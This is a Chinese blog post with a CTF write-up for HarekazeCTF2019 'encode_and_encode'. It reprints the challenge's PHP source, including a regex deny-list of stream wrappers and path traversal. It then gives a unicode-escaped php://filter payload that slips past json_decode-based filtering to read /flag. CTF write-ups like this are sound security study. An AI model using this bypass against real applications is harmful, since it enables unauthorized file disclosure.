当前位置: 首页 > news >正文

[HarekazeCTF2019]encode_and_encode 不会编程的崽

这题知道这个知识点就挺好做的

<?php
error_reporting(0);if (isset($_GET['source'])) {show_source(__FILE__);exit();
}function is_valid($str) {$banword = [// no path traversal'\.\.',// no stream wrapper'(php|file|glob|data|tp|zip|zlib|phar):',// no data exfiltration'flag'];$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $str)) {return false;}return true;
}$body = file_get_contents('php://input');
$json = json_decode($body, true);if (is_valid($body) && isset($json) && isset($json['page'])) {$page = $json['page'];$content = file_get_contents($page);if (!$content || !is_valid($content)) {$content = "<p>not found</p>\n";}
} else {$content = '<p>invalid request</p>';
}// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

 结构很简单,要求输入json格式的数据,然后经过过滤,将结果然后传入file_get_content读取

1.is_valid函数。过滤了一堆伪协议

2.对结果过滤,会把HarekazeCTF{***}替换掉

以上两个过滤都不重要,因为json_decode会将\uxxx进行转义,这样就可以绕过is_valid检测

在base64一下,一箭双雕。

随便找个网址unicode编码就行了

php://filter/read=convert.base64-encode/resource=/flag
--->
\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067

 

 

 知道了就不难吧,哈哈

相关文章:

  • 永磁同步电机无感FOC(龙伯格观测器)算法技术总结-仿真篇
  • 单例模式分享
  • 科技论文编写思路
  • 学习大数据,所必需的java基础(6)
  • leetcode刷题(剑指offer) 47.全排列Ⅱ
  • 微服务中排除父项目中的某个依赖
  • Web安全之接口鉴权
  • springboot/ssm工作量统计系统Java工作记录可视化管理系统web
  • Vue3+Element-Plus中ELMessage样式丢失处理
  • Stream流详解
  • CSAPP-信息的表示和处理
  • 【leetcode】链表的中间节点
  • 网络安全与代理技术:解密 SOCKS5、代理IP 和 HTTP
  • ubuntu常见配置
  • 通过jenkins进行部署java程序到centos上
  • “大数据应用场景”之隔壁老王(连载四)
  • 【跃迁之路】【641天】程序员高效学习方法论探索系列(实验阶段398-2018.11.14)...
  • Android Studio:GIT提交项目到远程仓库
  • JavaScript创建对象的四种方式
  • Javascript基础之Array数组API
  • JDK9: 集成 Jshell 和 Maven 项目.
  • markdown编辑器简评
  • Solarized Scheme
  • sublime配置文件
  • Tornado学习笔记(1)
  • vue的全局变量和全局拦截请求器
  • Windows Containers 大冒险: 容器网络
  • 分布式事物理论与实践
  • 海量大数据大屏分析展示一步到位:DataWorks数据服务+MaxCompute Lightning对接DataV最佳实践...
  • 力扣(LeetCode)965
  • 漂亮刷新控件-iOS
  • 软件开发学习的5大技巧,你知道吗?
  • 思维导图—你不知道的JavaScript中卷
  • 为物联网而生:高性能时间序列数据库HiTSDB商业化首发!
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • 函数计算新功能-----支持C#函数
  • 基于django的视频点播网站开发-step3-注册登录功能 ...
  • (¥1011)-(一千零一拾一元整)输出
  • (AngularJS)Angular 控制器之间通信初探
  • (C#)Windows Shell 外壳编程系列4 - 上下文菜单(iContextMenu)(二)嵌入菜单和执行命令...
  • (C语言)fread与fwrite详解
  • (echarts)echarts使用时重新加载数据之前的数据存留在图上的问题
  • (HAL库版)freeRTOS移植STMF103
  • (一)Thymeleaf用法——Thymeleaf简介
  • (转)nsfocus-绿盟科技笔试题目
  • (转)Oracle存储过程编写经验和优化措施
  • (轉貼) UML中文FAQ (OO) (UML)
  • ****** 二十三 ******、软设笔记【数据库】-数据操作-常用关系操作、关系运算
  • *++p:p先自+,然后*p,最终为3 ++*p:先*p,即arr[0]=1,然后再++,最终为2 *p++:值为arr[0],即1,该语句执行完毕后,p指向arr[1]
  • *上位机的定义
  • .net MVC中使用angularJs刷新页面数据列表
  • .NET命令行(CLI)常用命令
  • ??javascript里的变量问题
  • @Bean, @Component, @Configuration简析
  • [].shift.call( arguments ) 和 [].slice.call( arguments )